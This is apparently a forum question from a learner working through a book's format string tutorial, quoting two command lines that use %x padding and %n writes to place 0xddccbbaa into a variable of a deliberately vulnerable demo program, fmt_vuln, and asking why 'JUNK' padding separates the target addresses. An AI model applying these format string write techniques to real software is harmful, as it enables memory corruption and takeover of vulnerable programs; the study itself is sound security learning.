I found a format string tutorial in a book. Have understood the basic concept, but have a question about one of the examples. The aim is to write the address 0xddccbbaa into a static int variable declared in a program fmt_vuln. The book says that first you write 0xaa like this:

./fmt_vuln `printf "\x70\x97\x04\x08"`%x.%x.%153x%n

which works. Then, it says that in order to write 0xbb we need to increment the byte count upto 187 which is 0xbb in decimal. This argument could be anything; it just has to be four bytes long and must be located after the first arbitrary memory address of 0x08049770. The word "JUNK" is four bytes and is fine. Similarly for writing 0xcc and 0xdd

So according to the book, the entire write procedure would be:

./fmt_vuln `printf "\x70\x97\x04\x08JUNK\x71\x97\x04\x08JUNK\x72\x97\x04\x08JUNK\x73\x97\x04\x08"`%x.%x.%129x%n%17x%n%17x%n%17x%n

My question is: Why do we need the four bytes of JUNK separating the addresses even thought we can control the number of bytes by using the size of %x as in %129x??

Thanks